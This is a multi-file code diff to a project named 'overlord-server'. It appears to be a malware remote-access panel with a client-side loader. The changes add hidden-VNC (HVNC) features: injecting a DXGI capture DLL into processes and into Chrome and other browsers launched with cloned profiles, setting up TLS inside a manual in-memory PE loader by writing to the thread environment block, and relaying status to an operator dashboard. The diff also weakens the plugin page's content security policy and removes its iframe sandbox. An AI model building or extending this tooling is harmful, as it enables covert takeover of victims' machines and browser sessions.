|
||||
tlsData, err := windows.VirtualAlloc(0, mm.tlsTotalSize,
|
||||
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
|
||||
if err != nil || tlsData == 0 {
|
||||
return func() {}
|
||||
}
|
||||
if mm.tlsTemplSize > 0 {
|
||||
copyMem(tlsData, (*byte)(unsafe.Pointer(mm.tlsTemplSrc)), mm.tlsTemplSize)
|
||||
}
|
||||
|
||||
ptrSize := unsafe.Sizeof(uintptr(0))
|
||||
tebAddr := teb.CurrentTEB()
|
||||
tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58))
|
||||
oldArray := *tlsArrayField
|
||||
|
||||
var newArray uintptr
|
||||
if oldArray == 0 {
|
||||
arrSize := uintptr(mm.tlsIndex+1) * ptrSize
|
||||
newArray, err = windows.VirtualAlloc(0, arrSize,
|
||||
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
|
||||
if err != nil || newArray == 0 {
|
||||
_ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
|
||||
return func() {}
|
||||
}
|
||||
*(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = tlsData
|
||||
*tlsArrayField = newArray
|
||||
} else {
|
||||
needed := uintptr(mm.tlsIndex+1) * ptrSize
|
||||
newArray, err = windows.VirtualAlloc(0, needed,
|
||||
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
|
||||
if err != nil || newArray == 0 {
|
||||
_ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
|
||||
return func() {}
|
||||
}
|
||||
copyMem(newArray, (*byte)(unsafe.Pointer(oldArray)), needed)
|
||||
*(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = tlsData
|
||||
*tlsArrayField = newArray
|
||||
}
|
||||
|
||||
return func() {
|
||||
_ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
|
||||
if newArray != 0 {
|
||||
*(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = 0
|
||||
_ = windows.VirtualFree(newArray, 0, windows.MEM_RELEASE)
|
||||
}
|
||||
tebNow := teb.CurrentTEB()
|
||||
field := (*uintptr)(unsafe.Pointer(tebNow + 0x58))
|
||||
*field = oldArray
|
||||
}
|
||||
}
|
||||
|
||||
func peString(addr uintptr) string {
|
||||
var buf []byte
|
||||
for i := 0; i < 4096; i++ { // safety limit
|
||||
@@ -480,45 +588,42 @@ func peString(addr uintptr) string {
|
||||
return string(buf)
|
||||
}
|
||||
|
||||
var (
|
||||
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
procGetProcAddr = modKernel32.NewProc("GetProcAddress")
|
||||
procTlsAlloc = modKernel32.NewProc("TlsAlloc")
|
||||
procTlsSetValue = modKernel32.NewProc("TlsSetValue")
|
||||
procTlsFree = modKernel32.NewProc("TlsFree")
|
||||
)
|
||||
|
||||
func getProcByOrdinal(module windows.Handle, ordinal uint16) (uintptr, error) {
|
||||
r, _, err := procGetProcAddr.Call(uintptr(module), uintptr(ordinal))
|
||||
if r == 0 {
|
||||
return 0, fmt.Errorf("GetProcAddress ordinal %d: %w", ordinal, err)
|
||||
func copyMem(dst uintptr, src *byte, size uintptr) {
|
||||
for i := uintptr(0); i < size; i++ {
|
||||
*(*byte)(unsafe.Pointer(dst + i)) = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(src)) + i))
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
|
||||
func sectionProtection(chars uint32) uint32 {
|
||||
exec := chars&imageSCNMemExecute != 0
|
||||
read := chars&imageSCNMemRead != 0
|
||||
write := chars&imageSCNMemWrite != 0
|
||||
r := chars&imageSCNMemRead != 0
|
||||
w := chars&imageSCNMemWrite != 0
|
||||
x := chars&imageSCNMemExecute != 0
|
||||
|
||||
switch {
|
||||
case exec && write:
|
||||
case x && w:
|
||||
return windows.PAGE_EXECUTE_READWRITE
|
||||
case exec && read:
|
||||
case x && r:
|
||||
return windows.PAGE_EXECUTE_READ
|
||||
case exec:
|
||||
case x:
|
||||
return windows.PAGE_EXECUTE
|
||||
case write:
|
||||
case w:
|
||||
return windows.PAGE_READWRITE
|
||||
case read:
|
||||
case r:
|
||||
return windows.PAGE_READONLY
|
||||
default:
|
||||
return windows.PAGE_NOACCESS
|
||||
}
|
||||
}
|
||||
|
||||
func copyMem(dst uintptr, src *byte, size uintptr) {
|
||||
dstSlice := unsafe.Slice((*byte)(unsafe.Pointer(dst)), size)
|
||||
srcSlice := unsafe.Slice(src, size)
|
||||
copy(dstSlice, srcSlice)
|
||||
var (
|
||||
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
procGetProcAddr = modKernel32.NewProc("GetProcAddress")
|
||||
)
|
||||
|
||||
func getProcByOrdinal(module windows.Handle, ordinal uint16) (uintptr, error) {
|
||||
r, _, err := procGetProcAddr.Call(uintptr(module), uintptr(ordinal))
|
||||
if r == 0 {
|
||||
return 0, fmt.Errorf("pe: GetProcAddress ordinal %d: %w", ordinal, err)
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
//go:build windows && amd64
|
||||
|
||||
package teb
|
||||
|
||||
// CurrentTEB returns the address of the current thread's Thread Environment Block.
|
||||
func CurrentTEB() uintptr
|
||||
@@ -0,0 +1,9 @@
|
||||
#include "textflag.h"
|
||||
|
||||
// func CurrentTEB() uintptr
|
||||
TEXT ·CurrentTEB(SB),NOSPLIT,$0-8
|
||||
// mov rax, gs:[0x30] — read the TEB self-pointer
|
||||
BYTE $0x65; BYTE $0x48; BYTE $0x8B; BYTE $0x04; BYTE $0x25
|
||||
LONG $0x00000030
|
||||
MOVQ AX, ret+0(FP)
|
||||
RET
|
||||
@@ -232,6 +232,13 @@ type HVNCCloneProgress struct {
|
||||
Status string `msgpack:"status"`
|
||||
}
|
||||
|
||||
type HVNCDXGIStatus struct {
|
||||
Type string `msgpack:"type"`
|
||||
Success bool `msgpack:"success"`
|
||||
GPUPid uint32 `msgpack:"gpuPid"`
|
||||
Message string `msgpack:"message"`
|
||||
}
|
||||
|
||||
type HVNCLookupResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
Exe string `msgpack:"exe"`
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "overlord-server",
|
||||
"version": "1.8.4",
|
||||
"version": "1.8.6",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
|
||||
@@ -58,7 +58,6 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
const fullscreenBtn = document.getElementById("fullscreenBtn");
|
||||
const mouseCtrl = document.getElementById("mouseCtrl");
|
||||
const kbdCtrl = document.getElementById("kbdCtrl");
|
||||
const cursorCtrl = document.getElementById("cursorCtrl");
|
||||
const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
|
||||
const qualitySlider = document.getElementById("qualitySlider");
|
||||
const qualityValue = document.getElementById("qualityValue");
|
||||
@@ -72,11 +71,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
const viewerFps = document.getElementById("viewerFps");
|
||||
const statusEl = document.getElementById("streamStatus");
|
||||
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||
const dxgiCtrl = document.getElementById("dxgiCtrl");
|
||||
const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
|
||||
|
||||
function syncInputEnableState() {
|
||||
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
|
||||
if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
|
||||
pushHvncResolution();
|
||||
}
|
||||
let activeClientId = clientId;
|
||||
let renderCount = 0;
|
||||
@@ -344,6 +346,38 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`;
|
||||
}
|
||||
|
||||
const dxgiStatusEl = document.getElementById("dxgiStatus");
|
||||
const dxgiStatusIcon = document.getElementById("dxgiStatusIcon");
|
||||
const dxgiStatusLabel = document.getElementById("dxgiStatusLabel");
|
||||
let dxgiHideTimer = null;
|
||||
|
||||
function handleDXGIStatus(msg) {
|
||||
if (!dxgiStatusEl) return;
|
||||
if (dxgiHideTimer) {
|
||||
clearTimeout(dxgiHideTimer);
|
||||
dxgiHideTimer = null;
|
||||
}
|
||||
dxgiStatusEl.classList.remove("hidden");
|
||||
dxgiStatusEl.classList.add("flex");
|
||||
if (msg.success) {
|
||||
dxgiStatusIcon.className = "fa-solid fa-microchip text-emerald-400";
|
||||
dxgiStatusLabel.textContent = msg.message || "DXGI active";
|
||||
dxgiStatusLabel.className = "text-emerald-300";
|
||||
dxgiHideTimer = setTimeout(() => {
|
||||
dxgiStatusEl.classList.add("hidden");
|
||||
dxgiStatusEl.classList.remove("flex");
|
||||
}, 8000);
|
||||
} else {
|
||||
dxgiStatusIcon.className = "fa-solid fa-microchip text-rose-400";
|
||||
dxgiStatusLabel.textContent = msg.message || "DXGI failed";
|
||||
dxgiStatusLabel.className = "text-rose-300";
|
||||
dxgiHideTimer = setTimeout(() => {
|
||||
dxgiStatusEl.classList.add("hidden");
|
||||
dxgiStatusEl.classList.remove("flex");
|
||||
}, 10000);
|
||||
}
|
||||
}
|
||||
|
||||
function sendCmd(type, payload) {
|
||||
if (!activeClientId) {
|
||||
console.warn("No active client selected");
|
||||
@@ -558,9 +592,23 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
kbdCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
});
|
||||
cursorCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
|
||||
});
|
||||
if (dxgiCtrl) {
|
||||
dxgiCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
|
||||
});
|
||||
}
|
||||
|
||||
function pushHvncResolution() {
|
||||
if (hvncResolutionSelect) {
|
||||
const maxHeight = parseInt(hvncResolutionSelect.value, 10);
|
||||
sendCmd("hvnc_set_resolution", { maxHeight: maxHeight });
|
||||
}
|
||||
}
|
||||
if (hvncResolutionSelect) {
|
||||
hvncResolutionSelect.addEventListener("change", function () {
|
||||
pushHvncResolution();
|
||||
});
|
||||
}
|
||||
|
||||
if (qualitySlider) {
|
||||
updateQualityLabel(qualitySlider.value);
|
||||
@@ -705,6 +753,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
return;
|
||||
@@ -732,6 +784,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
return;
|
||||
|
||||
@@ -100,6 +100,13 @@
|
||||
</div>
|
||||
<span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span>
|
||||
</div>
|
||||
<div
|
||||
id="dxgiStatus"
|
||||
class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"
|
||||
>
|
||||
<i id="dxgiStatusIcon" class="fa-solid fa-microchip text-emerald-400"></i>
|
||||
<span id="dxgiStatusLabel">DXGI</span>
|
||||
</div>
|
||||
<div
|
||||
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
||||
>
|
||||
@@ -128,12 +135,22 @@
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200"
|
||||
><input type="checkbox" id="kbdCtrl" /> Keyboard</label
|
||||
>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
|
||||
><input type="checkbox" id="cursorCtrl" /> Cursor</label
|
||||
>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
|
||||
><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
|
||||
>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Use DXGI Present hook for faster capture (requires injected process)"
|
||||
><input type="checkbox" id="dxgiCtrl" checked /> DXGI Capture</label
|
||||
>
|
||||
<label for="hvncResolutionSelect" class="text-sm text-slate-200">Resolution</label>
|
||||
<select
|
||||
id="hvncResolutionSelect"
|
||||
class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100 text-sm"
|
||||
>
|
||||
<option value="720">720p</option>
|
||||
<option value="1080" selected>1080p</option>
|
||||
<option value="1440">1440p</option>
|
||||
<option value="-1">Native</option>
|
||||
</select>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -39,7 +39,7 @@ import { isAuthorizedAgentRequest } from "./server/agent-auth";
|
||||
import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils";
|
||||
import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils";
|
||||
import { CORS_HEADERS } from "./server/http-security";
|
||||
import { mimeType, secureHeaders, securePluginHeaders } from "./server/http-utils";
|
||||
import { mimeType, secureHeaders } from "./server/http-utils";
|
||||
import { sanitizePluginId } from "./server/plugin-utils";
|
||||
import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch";
|
||||
import { dispatchAutoDeploysForConnection } from "./server/auto-deploy-dispatch";
|
||||
@@ -87,6 +87,7 @@ import {
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleHVNCLookupResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleClipboardContent,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
@@ -421,7 +422,6 @@ async function startServer() {
|
||||
enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent,
|
||||
drainPluginUIEvents: notificationPluginHandlers.drainPluginUIEvents,
|
||||
secureHeaders,
|
||||
securePluginHeaders,
|
||||
mimeType,
|
||||
},
|
||||
fileShare: {
|
||||
@@ -606,6 +606,7 @@ async function startServer() {
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleHVNCLookupResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleClipboardContent,
|
||||
cleanupVoiceViewer,
|
||||
stopConsoleOnTarget,
|
||||
|
||||
@@ -11,7 +11,7 @@ export function securePluginHeaders() {
|
||||
return {
|
||||
...SECURITY_HEADERS,
|
||||
"X-Frame-Options": "SAMEORIGIN",
|
||||
"Content-Security-Policy": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'none'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
|
||||
"Content-Security-Policy": "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self' wss: ws:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@@ -46,7 +46,6 @@ type PluginRouteDeps = {
|
||||
enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void;
|
||||
drainPluginUIEvents: (clientId: string, pluginId: string) => Array<{ event: string; payload: any }>;
|
||||
secureHeaders: (contentType?: string) => Record<string, string>;
|
||||
securePluginHeaders: () => Record<string, string>;
|
||||
mimeType: (path: string) => string;
|
||||
};
|
||||
|
||||
@@ -715,7 +714,6 @@ export async function handlePluginRoutes(
|
||||
|
||||
const raw = await file.text();
|
||||
const baseTag = `<base href="/plugins/${pluginId}/assets/" />`;
|
||||
const bridgeTag = `<script src="/assets/plugin-bridge.js"></script>`;
|
||||
let injected = raw;
|
||||
|
||||
const headMatch = raw.match(/<head[^>]*>/i);
|
||||
@@ -723,16 +721,8 @@ export async function handlePluginRoutes(
|
||||
injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`);
|
||||
}
|
||||
|
||||
if (injected.includes("</head>")) {
|
||||
injected = injected.replace("</head>", ` ${bridgeTag}\n </head>`);
|
||||
} else if (injected.includes("</body>")) {
|
||||
injected = injected.replace("</body>", ` ${bridgeTag}\n</body>`);
|
||||
} else {
|
||||
injected = `${bridgeTag}\n${injected}`;
|
||||
}
|
||||
|
||||
return new Response(injected, {
|
||||
headers: { ...deps.securePluginHeaders(), "Content-Type": "text/html; charset=utf-8" },
|
||||
headers: deps.secureHeaders("text/html; charset=utf-8"),
|
||||
});
|
||||
}
|
||||
|
||||
@@ -746,9 +736,33 @@ export async function handlePluginRoutes(
|
||||
}
|
||||
|
||||
const clientId = url.searchParams.get("clientId") || "";
|
||||
const bridgeToken = uuidv4();
|
||||
const origin = url.origin;
|
||||
const iframeSrc = `/plugins/${pluginId}/frame?clientId=${encodeURIComponent(clientId)}&token=${encodeURIComponent(bridgeToken)}&origin=${encodeURIComponent(origin)}`;
|
||||
|
||||
const htmlFile = path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.html`);
|
||||
const file = Bun.file(htmlFile);
|
||||
let pluginBody = "";
|
||||
let pluginHeadExtras = "";
|
||||
|
||||
if (await file.exists()) {
|
||||
const raw = await file.text();
|
||||
|
||||
const bodyMatch = raw.match(/<body[^>]*>([\s\S]*?)<\/body>/i);
|
||||
pluginBody = bodyMatch ? bodyMatch[1] : raw;
|
||||
|
||||
const headMatch = raw.match(/<head[^>]*>([\s\S]*?)<\/head>/i);
|
||||
if (headMatch) {
|
||||
const headContent = headMatch[1];
|
||||
const linkTags = headContent.match(/<link[^>]*>/gi) || [];
|
||||
const styleTags = headContent.match(/<style[\s\S]*?<\/style>/gi) || [];
|
||||
pluginHeadExtras = [...linkTags, ...styleTags]
|
||||
.map((tag) =>
|
||||
tag.replace(/href="(?!https?:\/\/|\/)/g, `href="/plugins/${pluginId}/assets/`),
|
||||
)
|
||||
.join("\n ");
|
||||
}
|
||||
}
|
||||
|
||||
const jsFile = Bun.file(path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.js`));
|
||||
const hasPluginJs = await jsFile.exists();
|
||||
|
||||
const html = `<!doctype html>
|
||||
<html lang="en">
|
||||
@@ -771,27 +785,19 @@ export async function handlePluginRoutes(
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/main.css" />
|
||||
<link rel="stylesheet" href="/assets/custom.css" />
|
||||
${pluginHeadExtras}
|
||||
</head>
|
||||
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||
<header id="top-nav"></header>
|
||||
<main class="px-5 py-6">
|
||||
<div class="max-w-6xl mx-auto">
|
||||
<div class="rounded-2xl border border-slate-800 bg-slate-900/50 overflow-hidden">
|
||||
<iframe
|
||||
id="plugin-frame"
|
||||
src="${iframeSrc}"
|
||||
sandbox="allow-scripts allow-same-origin"
|
||||
class="w-full h-[calc(100vh-220px)] bg-slate-950"
|
||||
></iframe>
|
||||
<div id="plugin-container" class="rounded-2xl border border-slate-800 bg-slate-900/50 overflow-hidden p-4">
|
||||
${pluginBody}
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
<div
|
||||
id="plugin-host"
|
||||
data-bridge-token="${bridgeToken}"
|
||||
></div>
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
<script src="/assets/plugin-host.js"></script>
|
||||
${hasPluginJs ? `<script src="/plugins/${pluginId}/assets/${pluginId}.js"></script>` : ""}
|
||||
</body>
|
||||
</html>`;
|
||||
|
||||
|
||||
@@ -82,6 +82,7 @@ type WsLifecycleDeps = {
|
||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
@@ -586,6 +587,9 @@ export async function handleWebSocketMessage(
|
||||
case "hvnc_lookup_result":
|
||||
deps.handleHVNCLookupResult(client.id, payload);
|
||||
break;
|
||||
case "hvnc_dxgi_status":
|
||||
deps.handleHVNCDXGIStatus(client.id, payload);
|
||||
break;
|
||||
case "clipboard_content":
|
||||
deps.handleClipboardContent(client.id, payload);
|
||||
break;
|
||||
|
||||
@@ -17,6 +17,10 @@ let _cachedInjectionDll: Uint8Array | null = null;
|
||||
let _dllCachePath: string | null = null;
|
||||
let _dllCacheMtimeMs: number = 0;
|
||||
|
||||
let _cachedCaptureDll: Uint8Array | null = null;
|
||||
let _captureDllCachePath: string | null = null;
|
||||
let _captureDllCacheMtimeMs: number = 0;
|
||||
|
||||
function getInjectionDllBytes(): Uint8Array | null {
|
||||
const runtimeRoot = resolveRuntimeRoot();
|
||||
const candidates = [
|
||||
@@ -61,6 +65,49 @@ function getInjectionDllBytes(): Uint8Array | null {
|
||||
return null;
|
||||
}
|
||||
|
||||
function getCaptureDllBytes(): Uint8Array | null {
|
||||
const runtimeRoot = resolveRuntimeRoot();
|
||||
const candidates = [
|
||||
path.resolve(runtimeRoot, "dist-clients", "HVNCCapture.x64.dll"),
|
||||
path.resolve(process.cwd(), "dist-clients", "HVNCCapture.x64.dll"),
|
||||
path.resolve(import.meta.dir, "../../dist-clients/HVNCCapture.x64.dll"),
|
||||
];
|
||||
|
||||
if (_captureDllCachePath) {
|
||||
try {
|
||||
const { statSync } = require("fs");
|
||||
const st = statSync(_captureDllCachePath);
|
||||
if (st.mtimeMs === _captureDllCacheMtimeMs && _cachedCaptureDll) {
|
||||
return _cachedCaptureDll;
|
||||
}
|
||||
_cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath));
|
||||
_captureDllCacheMtimeMs = st.mtimeMs;
|
||||
logger.info(`[hvnc] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
|
||||
return _cachedCaptureDll;
|
||||
} catch {
|
||||
_captureDllCachePath = null;
|
||||
_cachedCaptureDll = null;
|
||||
}
|
||||
}
|
||||
|
||||
for (const dllPath of candidates) {
|
||||
if (!existsSync(dllPath)) continue;
|
||||
try {
|
||||
const { statSync } = require("fs");
|
||||
const st = statSync(dllPath);
|
||||
_cachedCaptureDll = new Uint8Array(readFileSync(dllPath));
|
||||
_captureDllCachePath = dllPath;
|
||||
_captureDllCacheMtimeMs = st.mtimeMs;
|
||||
logger.info(`[hvnc] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
|
||||
return _cachedCaptureDll;
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
|
||||
if (typeof raw === "string") {
|
||||
try {
|
||||
@@ -563,6 +610,17 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_dxgi_status",
|
||||
success: !!payload.success,
|
||||
gpuPid: Number(payload.gpuPid) || 0,
|
||||
message: String(payload.message || ""),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
export function handleClipboardContent(clientId: string, payload: any) {
|
||||
const text = String(payload.text || "");
|
||||
const source = String(payload.source || "");
|
||||
@@ -757,6 +815,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
case "hvnc_enable_cursor":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_enable_dxgi":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_dxgi", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_set_resolution": {
|
||||
const maxHeight = Number(payload.maxHeight) || 0;
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_set_resolution", { maxHeight });
|
||||
break;
|
||||
}
|
||||
case "hvnc_mouse_move":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
||||
break;
|
||||
@@ -799,12 +865,15 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||
break;
|
||||
}
|
||||
sendHVNCCommand(target, "hvnc_start_process_injected", {
|
||||
const captureDll = getCaptureDllBytes();
|
||||
const cmdPayload: Record<string, any> = {
|
||||
path: String(payload.path || ""),
|
||||
search_path: String(payload.search_path || ""),
|
||||
replace_path: String(payload.replace_path || ""),
|
||||
dll: dllData,
|
||||
});
|
||||
};
|
||||
if (captureDll) cmdPayload.capture_dll = captureDll;
|
||||
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
|
||||
break;
|
||||
}
|
||||
case "hvnc_start_chrome_injected": {
|
||||
@@ -814,10 +883,13 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||
break;
|
||||
}
|
||||
sendHVNCCommand(target, "hvnc_start_chrome_injected", {
|
||||
const captureDllChrome = getCaptureDllBytes();
|
||||
const chromeCmdPayload: Record<string, any> = {
|
||||
path: String(payload.path || ""),
|
||||
dll: dllData,
|
||||
});
|
||||
};
|
||||
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
|
||||
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
|
||||
break;
|
||||
}
|
||||
case "hvnc_start_browser_injected": {
|
||||
@@ -827,14 +899,17 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||
break;
|
||||
}
|
||||
sendHVNCCommand(target, "hvnc_start_browser_injected", {
|
||||
const captureDllBrowser = getCaptureDllBytes();
|
||||
const browserCmdPayload: Record<string, any> = {
|
||||
browser: String(payload.browser || ""),
|
||||
path: String(payload.path || ""),
|
||||
clone: payload.clone !== false,
|
||||
cloneLite: payload.cloneLite === true,
|
||||
killIfRunning: payload.killIfRunning === true,
|
||||
dll: dllData,
|
||||
});
|
||||
};
|
||||
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
|
||||
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync": {
|
||||
|
||||
@@ -1 +1 @@
|
||||
export const SERVER_VERSION = "1.8.4";
|
||||
export const SERVER_VERSION = "1.8.6";
|
||||
|
||||
@@ -29,6 +29,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"webcam_devices",
|
||||
"hvnc_clone_progress",
|
||||
"hvnc_lookup_result",
|
||||
"hvnc_dxgi_status",
|
||||
"clipboard_content",
|
||||
"proxy_data",
|
||||
"proxy_close",
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
@echo off
|
||||
setlocal EnableDelayedExpansion
|
||||
REM Build HVNCCapture DLL for Windows x64 using MSBuild (vcxproj).
|
||||
REM Run from VS Developer Command Prompt, or let the script detect VS.
|
||||
|
||||
set ROOT=%~dp0
|
||||
set PROJ=%ROOT%HVNCCapture\HVNCCapture.vcxproj
|
||||
set OUT_DIR=%ROOT%Overlord-Server\dist-clients
|
||||
set CONFIG=Release
|
||||
set PLATFORM=x64
|
||||
|
||||
REM Locate MSBuild via vswhere if not already on PATH
|
||||
where msbuild.exe >nul 2>&1
|
||||
if %ERRORLEVEL% neq 0 (
|
||||
echo msbuild.exe not found, searching for Visual Studio ...
|
||||
set "FOUND_VS="
|
||||
for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.Component.MSBuild -find MSBuild\**\Bin\MSBuild.exe 2^>nul`) do (
|
||||
set "MSBUILD_PATH=%%i"
|
||||
set "FOUND_VS=1"
|
||||
)
|
||||
if not defined FOUND_VS (
|
||||
echo ERROR: Visual Studio with MSBuild not found.
|
||||
exit /b 1
|
||||
)
|
||||
echo Found MSBuild at: !MSBUILD_PATH!
|
||||
)
|
||||
|
||||
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
|
||||
|
||||
echo Building HVNCCapture.vcxproj [%CONFIG%^|%PLATFORM%] ...
|
||||
if defined MSBUILD_PATH (
|
||||
